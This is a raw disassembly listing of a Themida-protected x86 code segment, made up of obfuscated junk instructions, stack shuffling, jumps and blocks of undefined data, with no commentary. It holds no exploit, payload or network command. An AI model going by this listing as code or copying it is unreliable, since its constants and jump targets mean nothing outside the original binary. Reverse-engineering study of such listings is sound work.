665C2404h, 6824048Bh dd 71D0h, 2961E9h, 0CE015B00h, 4FB85059h, 0F7303421h, 664135D0h dd 110555D4h, 165E047h, 0FA2AE9C6h, 815FFFFFh, 0FF3FFFF6h dd 0B6EF813Ah, 81784223h, 376290EFh, 81F70171h, 376290C7h dd 0EF7FE971h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB24A: ; CODE XREF: Themida_:004FE01Cj pop dword ptr [esp] mov esp, [esp] xor [esp], eax jmp loc_4FBCB2 ; --------------------------------------------------------------------------- dd 984AD2BBh, 0E9D8294Ah, 0FFFFF1FFh, 3913EB81h, 30FF2BE9h dd 0FFAAA1E9h, 24248BFFh, 5B240489h, 39E9DA89h, 81000052h dd 0ABD239F6h, 0E9F33118h, 0FFFFC2EEh ; --------------------------------------------------------------------------- loc_4FB28C: ; CODE XREF: Themida_:004FA430j add [esp+4], edi pop edi jmp loc_4F5D12 ; --------------------------------------------------------------------------- dw 3768h dd 0E900001Dh, 0FFFFE051h, 4C681h, 0EE830000h, 24348704h dd 240C895Ch, 0FFCFB9E9h, 4D828FFh, 0F87CE956h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB2BE: ; CODE XREF: Themida_:00501497j push 172Dh mov [esp], esp add dword ptr [esp], 4 pop ebp jmp loc_4FF769 ; --------------------------------------------------------------------------- db 66h dd 51240C8Bh, 6AB668h, 24248900h, 4BA52h, 6C810000h, 60730424h dd 54011C52h, 44810424h, 60730424h, 595A1C52h, 3FF8E9h dd 0C4815900h, 4, 2BE56h, 0F0010000h, 541DE95Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB316: ; CODE XREF: Themida_:004FA516j push 2CDEh mov [esp], esp add dword ptr [esp], 4 pop esi jmp loc_4FF65E ; --------------------------------------------------------------------------- db 58h dd 0E181D1F7h, 58B22B7Bh, 2B62E981h, 0CE8910A2h, 51240C8Bh dd 0C181E189h, 4, 4C181h, 0FF510000h, 59042474h, 5C24048Fh dd 5E1C7709h, 0FFA9B1E9h, 0A9ACE9FFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB366: ; CODE XREF: Themida_:004FAA9Aj and eax, 1CD66307h push ecx mov ecx, 58C1352Ah xor ecx, 5E826400h and eax, ecx pop ecx xor eax, 4004004h add esi, eax pop eax push 15A2h mov [esp], ebx jmp loc_5007C7 ; --------------------------------------------------------------------------- loc_4FB38F: ; CODE XREF: Themida_:004FFCCEj pop ecx loc_4FB390: ; CODE XREF: Themida_:004FCE0Cj push edx mov edx, ebx mov eax, edx push dword ptr [esp] mov edx, [esp] add esp, 4 push 5854h mov [esp], eax jmp loc_4F958D ; --------------------------------------------------------------------------- loc_4FB3AB: ; CODE XREF: Themida_:004FE843j mov esi, esp add esi, 4 push edx jmp loc_4F60D2 ; --------------------------------------------------------------------------- db 0BEh, 5, 68h dd 0F6812573h, 25736801h, 2DB4E9h, 4C48100h, 81000000h dd 0FFF3C2C5h, 0E9EB01FFh, 44F1h, 0F073E95Bh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB3E2: ; CODE XREF: Themida_:004FAC7Cj and esi, 6E117D21h shr esi, 4 sub esi, 68B354B3h push 0 sub [esp], esi pop esi sub esi, 12C2EAF9h sub eax, 6A5E344Fh sub eax, esi add eax, 6A5E344Fh mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push edx mov edx, 3F1070B4h and edx, 1F4371D2h push edi mov edi, 66E755D8h inc edi add edi, 75422941h neg edi add edi, 5BD20B6Eh add edi, 9F57D43Ch sub edx, edi pop edi jmp loc_4F8331 ; --------------------------------------------------------------------------- loc_4FB44E: ; CODE XREF: Themida_:005017A6j mov esp, [esp] push 4FF7h mov [esp], ebx jmp loc_4FC5E9 ; --------------------------------------------------------------------------- dw 815Dh dd 592812EFh, 586BE975h, 4BB0000h, 1000000h, 0FF565BDEh dd 8B042474h db 34h, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_4FD622 ; --------------------------------------------------------------------------- dw 3C87h dd 0E1F65C24h, 0CCB60F66h, 75BB6866h, 240C8966h, 0C8B60F66h dd 0E99C5166h, 0FFFFA872h ; --------------------------------------------------------------------------- loc_4FB4A0: ; CODE XREF: Themida_:00501CDBj mov ebx, 1ABF0189h sub edi, ebx pop ebx pop edx jmp loc_4F85D8 ; --------------------------------------------------------------------------- dw 0EA81h dd 45A25629h, 33B3C281h, 53E9259Dh, 87FFFFA8h, 565C241Ch dd 0FFE848E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FB4C9: ; CODE XREF: Themida_:004F87A4j push dword ptr [esp] push dword ptr [esp] pop ecx add esp, 4 push ebp jmp loc_4F7607 ; --------------------------------------------------------------------------- dd 0E9545558h, 0FFFFDCCEh, 4C2CC581h, 0E8010D51h, 58C6295Dh dd 4EC81h, 14890000h, 1E78BA24h, 48E92620h db 30h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB503: ; CODE XREF: Themida_:00501E97j mov esi, 11F2A3A2h add esi, ebp pop ebp push eax jmp loc_4FC799 ; --------------------------------------------------------------------------- db 46h, 51h, 0B9h dd 13775E09h, 6B5BF181h, 0E9812BC9h, 19525B33h, 51E9D9F7h dd 83000004h, 3C8704C7h, 0BD555C24h, 38977FF6h, 0ED8F581h dd 454561B1h, 2882F581h, 0CAE9451Fh, 0BAFFFFB1h, 35DD66BDh dd 0F1E9FA87h db 0ABh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB557: ; CODE XREF: Themida_:004F73B5j add esi, 4CEC22BEh pop ecx jmp loc_4F65CC ; --------------------------------------------------------------------------- loc_4FB563: ; CODE XREF: Themida_:004FAC89j xor edi, 0E74776A0h mov eax, edi pop edi add [esp+4], eax mov eax, [esp] add esp, 4 mov eax, [esp] add esp, 4 push edi push ebp mov ebp, 41101E7Dh mov edi, ebp pop ebp sub eax, 15CF6F8Ah sub eax, edi add eax, 15CF6F8Ah push dword ptr [esp] jmp loc_4F62AA ; --------------------------------------------------------------------------- db 59h, 8Fh, 4 dd 34FF5C24h, 0A8685824h, 0E900004Bh, 1F0Bh, 2404895Ch dd 55575854h, 0A1E950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB5BE: ; CODE XREF: Themida_:004FDE3Aj shr eax, 0Bh xor ecx, eax push 12B9h mov [esp], ecx push esi jmp loc_4FCB9A ; --------------------------------------------------------------------------- db 66h, 50h, 0B4h dd 66E22049h, 0C0C2FE58h, 67E908E2h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB5E3: ; CODE XREF: Themida_:004FDD68j push dword ptr [esp] pop ebx add esp, 4 mov ebp, [esp] jmp loc_4FA57B ; --------------------------------------------------------------------------- dw 0F101h aSy db '^éY*',0 align 2 dw 4BBh dd 0E9000000h, 0FFFFB00Dh ; --------------------------------------------------------------------------- loc_4FB604: ; CODE XREF: Themida_:004F60BDj mov [esp], esi mov esi, 310680h add [esp+8], esi pop esi add dword ptr [esp+4], 19E37366h add [esp+4], eax push edx mov edx, 19E37366h add dword ptr [esp+8], 3E6949CAh sub [esp+8], edx sub dword ptr [esp+8], 3E6949CAh mov edx, [esp] push edi jmp loc_4FEB3F ; --------------------------------------------------------------------------- dd 7D9A6851h, 83592D2Bh, 2C8904ECh, 0D81FE924h, 0D389FFFFh dd 0FF5BDF89h, 6AE92434h, 68000056h, 210D3772h, 0FFBFBDE9h dd 241C89FFh, 2CE9DDB7h, 5FFFFF7h, 611F9DADh, 5858C229h dd 5C241487h, 8B2434FFh, 0C481240Ch, 4 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_4FD0C8 ; --------------------------------------------------------------------------- dd 240C8B66h, 2C481h, 0FE200000h, 83241C8Bh, 0CE8004C4h dd 16BEE989h, 55AD0000h, 901ED9BDh, 81D5F73Ah, 0B5BB74EDh dd 3BE2E961h, 0BE560000h, 3D070A72h, 66BE9h, 0C2E18000h dd 0E969F180h, 6F7Dh ; --------------------------------------------------------------------------- loc_4FB6D8: ; CODE XREF: Themida_:004FF66Aj xchg esi, [esp] jmp loc_4FC37E ; --------------------------------------------------------------------------- loc_4FB6E0: ; CODE XREF: Themida_:loc_4F841Aj shr edx, 1 cmp eax, edx jmp loc_4FDDAC ; --------------------------------------------------------------------------- db 81h, 0C5h, 1Ah dd 81684046h, 0EF138BE5h, 0C5814530h, 38FB55AFh, 0FFADE3E9h dd 241C87FFh, 241C895Ch, 0E2F4468h, 0EBC15B4Fh, 0D1DBF702h dd 40F381EBh, 896CA336h, 424A5BDAh, 6087F281h, 0E2C13435h dd 0B9CA8104h, 554C4018h, 0C6DDBBBDh, 0E9EA31ECh, 0FFFFD19Ch dd 4C483h, 241C8BD8h, 0FFEFF6E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FB749: ; CODE XREF: Themida_:004FA5EEj push 7643h mov [esp], esi push esp pop esi add esi, 4 sub esp, 4 mov [esp], edx mov edx, 4 add esi, 706904DBh add esi, edx push eax mov eax, 45D33E43h and eax, 526D3E87h sub eax, 0CFD83928h sub esi, eax pop eax mov edx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 jmp loc_4FA3B6 ; --------------------------------------------------------------------------- dw 34FFh dd 0B7CBE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB79E: ; CODE XREF: Themida_:004FECA9j cmp ecx, eax pushf jmp loc_4F5D12 ; --------------------------------------------------------------------------- dw 3487h dd 0E6C15C24h, 1555E906h, 52660000h, 0F330FAB6h, 6358E9h dd 81C30100h, 7B1AFCEBh, 96E95224h, 5AFFFFABh, 0C2AC3548h dd 30E98E26h db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB7D7: ; CODE XREF: Themida_:004F938Cj shl edx, 6 or edx, 690C7DC3h push ecx mov ecx, 465F15C6h push eax mov eax, 30F3334Ah jmp loc_4FF2DB ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 89240C89h, 87268E1h, 4890000h, 0F6AFE924h, 0EC81FFFFh dd 4, 4740E9h db 0 ; --------------------------------------------------------------------------- loc_4FB811: ; CODE XREF: Themida_:00500E12j add edx, 4 jmp loc_4FC311 ; --------------------------------------------------------------------------- dd 4C481h, 0B8500000h, 493C6D72h, 0C3929205h, 58C701B6h dd 0FFB4DBE9h, 92C281FFh, 145733Dh, 92EA81F2h, 5E45733Dh dd 4EA81h, 0FF520000h, 5A042474h, 0FFB904E9h, 7DF480FFh dd 3239E9h, 0ED815D00h, 3444127Bh, 57ED815Fh, 8905C274h dd 0DD015DEBh, 242C875Bh, 243CD35Ch, 0A494E99Ch, 487FFFFh dd 3C895C24h, 52236824h, 1C890000h, 6F0F6824h, 535B0386h dd 651DE9h, 0A9E95200h, 87000063h, 248B242Ch, 24148924h dd 0FFA465E9h, 45B668FFh, 24890000h, 24048124h, 4, 8324048Fh dd 5E042404h, 19768h, 24148900h, 2468h, 24148B00h, 4C481h dd 0EE810000h, 50790467h, 0B4BE5655h, 0C14DBF5Dh, 0F68103EEh dd 68BC0B99h, 461ACE81h, 0EE812082h, 1ACF6523h, 8BBCC681h dd 0F5891321h, 5DEE015Eh, 6C1CEE81h, 0D6015764h, 4EC81h dd 3C890000h, 6C1CBF24h, 0FE015764h, 63EBE95Fh, 1C890000h dd 0EF06E924h, 0E181FFFFh, 76B7179h, 2DF2E9h db 0 ; --------------------------------------------------------------------------- loc_4FB939: ; CODE XREF: Themida_:004FF6F4j push esp push dword ptr [esp] mov ecx, [esp] add esp, 4 add esp, 4 add ecx, 4 push esi mov esi, 4 add ecx, esi pop esi xor ecx, [esp] xor [esp], ecx xor ecx, [esp] pop esp push 4A3Ch mov [esp], ebp jmp loc_4FFCD3 ; --------------------------------------------------------------------------- loc_4FB96F: ; CODE XREF: Themida_:004F7735j sub eax, 1 shl eax, 2 jmp loc_4FD7A6 ; --------------------------------------------------------------------------- dd 0C181E1D1h, 8A48C0A5h, 8959CE01h, 3BE95EF7h, 86FFFFE3h dd 99E9243Ch db 52h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FB997: ; CODE XREF: Themida_:004FDF72j add edi, 4 push edi push dword ptr [esp+4] jmp loc_4F92D7 ; --------------------------------------------------------------------------- loc_4FB9A7: ; CODE XREF: Themida_:004FF56Aj mov cx, [esp] push 62CBh mov [esp], ecx jmp loc_4F8FD6 ; --------------------------------------------------------------------------- dd 0BD242C89h, 1B68FFh, 4246C31h, 0FFBD28E9h, 2434FFFFh dd 592434FFh, 55E18951h, 4BDh, 0B1F8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FB9DE: ; CODE XREF: Themida_:004F9AA7j push dword ptr [esp] mov eax, [esp] push ebp mov ebp, esp push ecx mov ecx, 4 sub ebp, 7F480E42h jmp loc_50165D ; --------------------------------------------------------------------------- dd 48BC601h, 4C48124h, 68000000h, 7CAEh, 0BB241C89h, 6B5E6490h dd 65E7E9h db 0 ; --------------------------------------------------------------------------- loc_4FBA15: ; CODE XREF: Themida_:004FDDCEj mov edi, 1E1A1ABEh or edi, 33BD6709h xor edi, 29A3144Fh not edi xor edi, 2AAE5542h add edi, 457B933Fh jmp loc_5012C5 ; --------------------------------------------------------------------------- loc_4FBA39: ; CODE XREF: Themida_:004FFCDFj add ebp, edi push dword ptr [esp] mov edi, [esp] push edx mov edx, esp add edx, 4 push eax jmp loc_4FEA8A ; --------------------------------------------------------------------------- dd 53E4BA52h, 0B850295Ch, 692F2AF6h, 21088A35h, 2DD8F74Bh dd 156C2947h, 57E8AA35h, 58C221C7h, 0C104EAC1h, 0F28105EAh dd 46846C4Fh, 0C465BF57h, 0FA294680h, 0BC4AE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FBA8A: ; CODE XREF: Themida_:004F8D8Dj shl edx, 8 jmp loc_500518 ; --------------------------------------------------------------------------- dw 0EC81h dd 2, 24148966h, 1240480h, 24148B66h, 6602C483h, 66698A68h dd 0B0240489h, 66C23030h, 0E924048Bh, 3DA0h, 0CA81DAF7h dd 4E084207h, 6685F281h, 8956FE8Eh, 0A499E9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FBAD2: ; CODE XREF: Themida_:004FD7D4j add esp, 4 or eax, eax jnz loc_4FD2B5 push ebp push 1ACA3DEEh mov ebp, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp jmp loc_4FD40C ; --------------------------------------------------------------------------- loc_4FBAFF: ; CODE XREF: Themida_:004FEDAEj mov eax, [esp] jmp loc_4F9565 ; --------------------------------------------------------------------------- loc_4FBB07: ; CODE XREF: Themida_:004FFA32j xor ecx, 68EC44E7h mov ebx, [esp] push 7 jmp loc_50268C ; --------------------------------------------------------------------------- dw 34FFh dd 54525F24h, 0BFFE9h, 24348B00h, 4C481h, 0DFE90000h, 0ADFFFFA1h dd 1B85053h, 35723855h, 60EF3FC5h, 0F704E0C1h, 0FF8D2DD0h dd 0C389730Dh, 5BD82958h, 566BE9h, 8E5C100h, 87E7C581h dd 0EE0150FCh, 0E8E9505Dh, 8BFFFFBAh, 0F662424h, 43E9C8B6h dd 81FFFFBAh, 74D398C6h, 45F12DFBh, 0F02955A0h, 0A045F105h dd 0D0015E55h, 0FA261205h, 83595A5Ch, 148904ECh, 3988BA24h dd 0DAF72DBEh, 3E4BE9h, 0BA524500h, 2115704Ch, 4206EAC1h dd 69B6EA81h, 0BE56299Eh, 0CC12B523h, 315EF229h, 0F3C4E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FBBC2: ; CODE XREF: Themida_:004F798Dj xor [esp], eax xor eax, [esp] pop esp div cx push ebx mov ebx, esp push 1A90h jmp loc_4F5D46 ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0FFB144E9h, 4C481FFh, 87000000h, 0E95C2404h, 0FFFFA122h dd 0C6FEDEF6h, 8890C680h, 0C8005AF1h, 8B665966h, 0D8E92414h dd 8B000055h, 0D3662424h, 0E99C2404h, 0FFFFA0FEh, 0C281E289h dd 4, 0F9D8E953h, 0EFC1FFFFh, 0D8F79707h, 5BA2E997h, 2E050000h dd 2D05DE67h, 9418A236h, 48BC301h db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp pop edx jmp loc_4F7530 ; --------------------------------------------------------------------------- db 5 dd 7813876h, 7CE8BA52h, 0C28115A4h, 25FB416Ah, 0E908EAC1h dd 3F9Ch, 81E28952h, 4C2h, 4C28300h, 5C241487h, 0BB53D801h dd 7ACB3D0Eh, 0FFF1E7E9h, 0E9E8B0FFh, 0FFFFC73Ch, 5B241C29h dd 7DDBC381h, 0DBF75EB5h, 15B1E9h db 0 ; --------------------------------------------------------------------------- loc_4FBCA1: ; CODE XREF: Themida_:004FC78Dj mov ebp, [esp] add esp, 4 shr ecx, 3 jmp loc_4F78D6 ; --------------------------------------------------------------------------- loc_4FBCB2: ; CODE XREF: Themida_:004FB253j jmp loc_4F5D12 ; --------------------------------------------------------------------------- db 8Bh dd 0C4812404h, 4, 0E9F03059h, 0FFFFE2EDh, 24048B66h, 525B5453h dd 0FFD7CCE9h, 4C581FFh, 87000000h, 0FF5C242Ch, 525B2434h dd 0C2815A54h, 4, 0FFAF42E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FBCF1: ; CODE XREF: Themida_:004F859Cj add esp, 4 mov ecx, [esp] add esp, 4 push ebp push edx jmp loc_4F95EF ; --------------------------------------------------------------------------- dd 5113EA81h, 48B5CABh, 3AFEE924h, 8B660000h, 35E9240Ch db 11h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FBD1B: ; CODE XREF: Themida_:00500A39j add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_4F8A66 ; --------------------------------------------------------------------------- dd 122DE956h, 0E9480000h, 577Eh, 5DA1EE81h, 6BE9597Dh dd 8900002Fh, 0ECE9240Ch, 0B300005Ah, 0F6C3FE8Dh, 7EB80DBh dd 0FFC12DE9h, 0F2C180FFh, 0D1E9C800h, 0C0000012h, 0F2E907E2h dd 81FFFFA0h, 4C4h, 2434FF00h, 0B2E9575Ah, 8100002Eh, 42628ECDh dd 3699E96Fh, 0E9510000h, 0FFFFDCF3h ; --------------------------------------------------------------------------- loc_4FBD8C: ; CODE XREF: Themida_:004F823Cj sub edx, 249A30A8h mov edi, [esp] add esp, 4 and eax, edx mov edx, [esp] jmp loc_5026F3 ; --------------------------------------------------------------------------- dw 1489h dd 0F6CFB624h, 14DAE9D6h, 348B0000h, 4C48124h, 83000000h dd 148704C2h, 34FF5C24h, 2434FF24h, 4C48359h, 7AF868h dd 24048900h, 5156E089h, 39020C68h, 0E9D1592Bh, 0AE98141h dd 81570256h, 8462FCF1h, 0D1A7E9A0h, 0CB01FFFFh, 4C38359h dd 1F74E9h, 4E2C100h, 5134EA81h, 0C28147A2h, 70951B10h dd 9507EA81h, 1CE9CB68h, 81FFFFC4h, 4C4h, 4B85000h, 81000000h dd 2D51DFEAh, 0AE95511h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_4FBE2B: ; CODE XREF: Themida_:0050122Dj add eax, esi add eax, 733F0A59h jmp loc_4FF7C0 ; --------------------------------------------------------------------------- loc_4FBE37: ; CODE XREF: Themida_:004FFC30j mov esi, 26725222h sub ecx, esi pop esi push 0BFFh mov [esp], eax push edi push ecx mov ecx, 4B336AF3h mov edi, ecx pop ecx push 2E8Ch mov [esp], ebp push 68E63F26h pop ebp jmp loc_4F7247 ; --------------------------------------------------------------------------- dd 0E12D9242h, 11DE372h, 0E7C158C7h, 0B95106h, 0E9000000h dd 0FFFFB725h, 4EC815Eh, 89000000h, 6853240Ch, 2E9B03AFh dd 4A73E95Bh, 0B5680000h, 0E953CE07h, 0FFFFEAA2h, 25CEE95Eh dd 68660000h, 4280000h, 24048A24h, 81E78957h, 4C7h, 2C78300h dd 0E9243C87h, 0AE8h, 2B850h, 0C3010000h, 0FFA44EE9h db 0FFh ; --------------------------------------------------------------------------- loc_4FBECD: ; CODE XREF: Themida_:004FD330j xor ecx, [esp] xor [esp], ecx xor ecx, [esp] mov esp, [esp] sub eax, 4C8161E0h pop edi push 402Eh mov [esp], edi push 616C05D8h mov edi, [esp] push edi jmp loc_501A3B ; --------------------------------------------------------------------------- db 0F7h, 0DFh, 81h dd 0FA2206EFh, 0FFF901FFh, 575F2434h, 0BD55E789h, 4, 0FFE2E3E9h dd 240C8BFFh, 5FB0E9h db 0 ; --------------------------------------------------------------------------- loc_4FBF19: ; CODE XREF: Themida_:004F937Aj xor al, dl mov edx, [esp] add esp, 4 push eax mov ah, 3Ch neg ah push edx mov dl, 0FCh or ah, dl jmp loc_4FF6DB ; --------------------------------------------------------------------------- dd 2A76BA52h, 0DAF76974h, 655CE281h, 0EA8100A9h, 0FEDAF7D7h dd 24048752h, 487D0F7h, 420E924h, 0BBE90000h, 89FFFF9Dh dd 52552424h, 336FE9h db 0 ; --------------------------------------------------------------------------- loc_4FBF61: ; CODE XREF: Themida_:004FA228j push 576h mov [esp], ebx sub esp, 4 mov [esp], ebx push ebp jmp loc_4FF263 ; --------------------------------------------------------------------------- loc_4FBF78: ; CODE XREF: Themida_:004F9A4Fj pop esp mov [esp], edi jmp loc_4F790E ; --------------------------------------------------------------------------- aIssm db 'ˆáéM%',0 align 4 dd 0B0E9CB87h, 57FFFFBCh, 662AE9h db 0 ; --------------------------------------------------------------------------- loc_4FBF95: ; CODE XREF: Themida_:004F80BAj add ecx, 0FFFFFFFFh shr ecx, 1 xor ecx, 59575736h mov ebp, ecx jmp loc_500570 ; --------------------------------------------------------------------------- db 0BFh dd 409379B0h, 0C101C783h, 0E94F02E7h, 0C91h, 0C4757BDh dd 0FFED8163h, 521C442Ch, 0E6517CBAh, 0BBABE93Bh, 8B5FFFFh dd 8007E580h, 0EA30DFC5h, 8BD00059h, 7AE92414h, 0FFFFFFAAh dd 0F1E92434h, 8BFFFFF4h, 42E9241Ch, 54000063h, 4C7815Fh dd 55000000h, 4BDh, 5DEF0100h, 8B243C87h, 0C5812424h, 4 dd 429BE9h, 2C0D2C00h, 9AE95BFDh, 50FFFFDEh, 42474FFh dd 24048F58h, 0F87FE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC02E: ; CODE XREF: Themida_:004F9D0Cj pop edi push esi push ebp push ecx jmp loc_4F80B2 ; --------------------------------------------------------------------------- db 52h dd 0B1E906B6h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC03F: ; CODE XREF: Themida_:004FA606j push ebx jmp loc_4FAD30 ; --------------------------------------------------------------------------- db 0E9h, 0C8h, 9Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC04A: ; CODE XREF: Themida_:004FD221j add esp, 4 push esi mov esi, esp add esi, 4 add esi, 4 push esi push dword ptr [esp+4] jmp loc_4F8E7D ; --------------------------------------------------------------------------- db 81h, 0EFh, 35h dd 29E25FA4h, 5353E9FBh, 0F2810000h, 0B891B7Dh, 3478E9h dd 24348B00h, 8104C483h, 4C6h, 4BB5300h, 29000000h, 34875BDEh dd 1C895C24h, 170BE924h, 0EC810000h, 4, 0FFEF0EE9h, 0B86650FFh dd 356619C5h, 0D660052h, 2D666350h, 29664388h, 506658C3h dd 0FFB975E9h, 81E789FFh, 4C7h, 2BB5300h, 81000000h, 2B678BC7h dd 55DF014Ah, 2B4FC4BDh, 0E0E58114h, 811FC769h, 4D06F7F5h dd 6EDC10Dh, 5EB7F581h, 0EF294A4Eh, 59A7E9h, 5FFE2900h dd 1557F4BBh, 0FDBA5206h, 8174453Fh, 327796F2h, 0E90EE976h dd 8B66FFFFh, 0E9562404h, 40ECh ; --------------------------------------------------------------------------- loc_4FC124: ; CODE XREF: Themida_:004F724Fj pop edi push esi jmp loc_4F9CE3 ; --------------------------------------------------------------------------- db 29h dd 0C15F243Ch, 0E7C105E7h, 85C78104h, 217E03A3h, 0E3C15FFBh dd 0C9E38108h, 0E97F8A16h, 0FFFFC9C0h, 515AD088h, 0F58086B5h dd 59E828D8h, 0C2300F34h, 0C8EB8058h, 96C380h, 4A51E9D3h dd 0C2810000h, 4, 1F89E9h, 0E9D7F700h, 0FFFFFAA6h, 4C281h dd 0C2830000h, 0E0895004h, 405h, 42D00h, 4870000h, 14895C24h dd 0B4F9E924h, 77FFFFFFh, 58669D1Ch, 9C240418h, 0FF9B65E9h dd 0B85046FFh, 37F77D9Eh, 0E940E0D1h, 0FFFF9E8Ah, 8B243487h dd 0F7662424h, 3E8AE9F9h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC1CA: ; CODE XREF: Themida_:00501F2Ej mov edx, 4 add ecx, edx jmp loc_501C09 ; --------------------------------------------------------------------------- dw 1489h dd 80B3B224h, 0A4E97EF2h db 3Eh, 2 dup(0) ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4 jmp loc_4F74F6 ; --------------------------------------------------------------------------- loc_4FC1F1: ; CODE XREF: Themida_:004FEA3Ej mov esi, 60DD450Eh add eax, esi pop esi sub eax, 4F864D3Ah or eax, 1D3537D4h xor eax, 2B871273h sub ecx, eax pop eax mov ebp, ecx pop ecx shl ebp, 1 xor ebp, 0FBA2A44h and ebp, 5D2328A9h push edx mov edx, 0B453BA2h sub ebp, edx pop edx jmp loc_4FEB04 ; --------------------------------------------------------------------------- dw 74FFh dd 34FF0424h, 24048B24h, 4C91E9h, 24048B00h, 8104C483h dd 54A242Ch, 2C81390Ah, 3716DF24h, 24040168h, 0DF240481h dd 81683716h, 54A2404h, 0B951390Ah, 330121F8h, 4244C01h dd 4EC8359h, 0BB241C89h, 1E015C1Dh, 0A5BE9h, 0C8B6600h dd 0E3895324h, 4C381h, 0EB810000h, 4, 5C241C87h, 54241C89h dd 0FFA273E9h db 0FFh ; --------------------------------------------------------------------------- loc_4FC299: ; CODE XREF: Themida_:00500CEDj push esp push dword ptr [esp] mov esi, [esp] jmp loc_4F7396 ; --------------------------------------------------------------------------- db 0F7h, 1Ch, 24h dd 9A64E99Ch, 0C381FFFFh, 4, 4B850h, 0C3010000h, 241C8758h dd 4C1815Ch, 83000000h, 0C8704C1h, 24248B24h, 0FF9A3DE9h dd 240C8BFFh, 0E904C483h, 0FFFFDD94h, 0E9C32966h, 0E7Dh ; --------------------------------------------------------------------------- loc_4FC2E8: ; CODE XREF: Themida_:004F5FD2j sub ebp, 4 xchg ebp, [esp] mov esp, [esp] mov [esp], ecx push esi mov esi, 248C1817h push edi mov edi, 1273B78h or edi, 13F36481h shl edi, 6 shr edi, 4 jmp loc_502589 ; --------------------------------------------------------------------------- loc_4FC311: ; CODE XREF: Themida_:004FB817j push ecx mov ecx, 4 jmp loc_4FA9A2 ; --------------------------------------------------------------------------- loc_4FC31C: ; CODE XREF: Themida_:004FDB13j mov [edx], cl mov edx, [esp] add esp, 4 pop ecx mov ebx, [esp] push edx jmp loc_500E10 ; --------------------------------------------------------------------------- db 8Bh, 0Ch, 24h dd 3811E9h, 280E2C00h, 8B0E04E8h, 0C481240Ch, 4, 0DDC380h dd 545151C3h, 5651E959h, 515C0000h, 0C181E189h, 4, 8704E983h dd 43E9240Ch, 88000005h, 0A323E9C5h, 815AFFFFh, 31391DCAh dd 38F0E913h db 2 dup(0) ; --------------------------------------------------------------------------- loc_4FC37E: ; CODE XREF: Themida_:004FB6DBj mov esp, [esp] push ebp mov ebp, esp push esi mov esi, 59407D50h sub esi, 59407D4Ch add ebp, 473731CCh add ebp, 266908EAh add ebp, esi sub ebp, 266908EAh sub ebp, 473731CCh mov esi, [esp] jmp loc_4F5FCF ; --------------------------------------------------------------------------- dw 1C89h dd 89C38924h, 0F9E95BD9h db 0CAh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC3BF: ; CODE XREF: Themida_:004F6AB4j push 1D75h mov [esp], eax mov eax, esp jmp loc_4F72A8 ; --------------------------------------------------------------------------- loc_4FC3CE: ; CODE XREF: Themida_:004F6BD1j mov edx, [esp] push esi mov esi, esp add esi, 4 jmp loc_4F8217 ; --------------------------------------------------------------------------- db 80h dd 0EB28F6C3h, 0E9F6EB80h, 0FFFFC363h, 8104C483h, 4916DAEBh dd 4EC8341h, 5542E9h db 0 ; --------------------------------------------------------------------------- loc_4FC3FD: ; CODE XREF: Themida_:004F8EEDj mov edx, 2C83F653h add ecx, edx pop edx jmp loc_501740 ; --------------------------------------------------------------------------- dw 0D0F6h dd 8058C388h, 0DBF6D8EBh, 0F607EBC0h, 5E3C0DBh, 0E901EB80h dd 0FFFFE1AEh, 33240431h, 248B2404h, 0CFF6624h, 0DBE99C24h dd 52FFFF98h, 4BAh, 24540100h, 0A7E95A04h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC447: ; CODE XREF: Themida_:004F8134j add ebx, 4 xchg ebx, [esp] pop esp pop edi push 2F1Ch mov [esp], esi push 737Fh mov [esp], ebp push 79020664h jmp loc_4F8BD2 ; --------------------------------------------------------------------------- aZwuh5zSB db 'ZWUh5z½|]é{B',0 align 2 dw 895Ch dd 0E589242Ch, 0DEA6E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_4FC486: ; CODE XREF: Themida_:004FA38Fj push edi mov edi, 4 add eax, edi jmp loc_4FCD74 ; --------------------------------------------------------------------------- db 0B5h dd 0F6EDD0F4h, 0E54EE9D5h, 8B66FFFFh, 0EC81240Ch, 4, 68243489h dd 3936h, 83242489h, 0FF042404h, 348B2434h, 61DBE924h dd 75680000h, 89000037h, 81502414h, 59B22434h, 148B1C39h dd 4EC8124h, 89000000h, 0E789243Ch, 5D21BE56h, 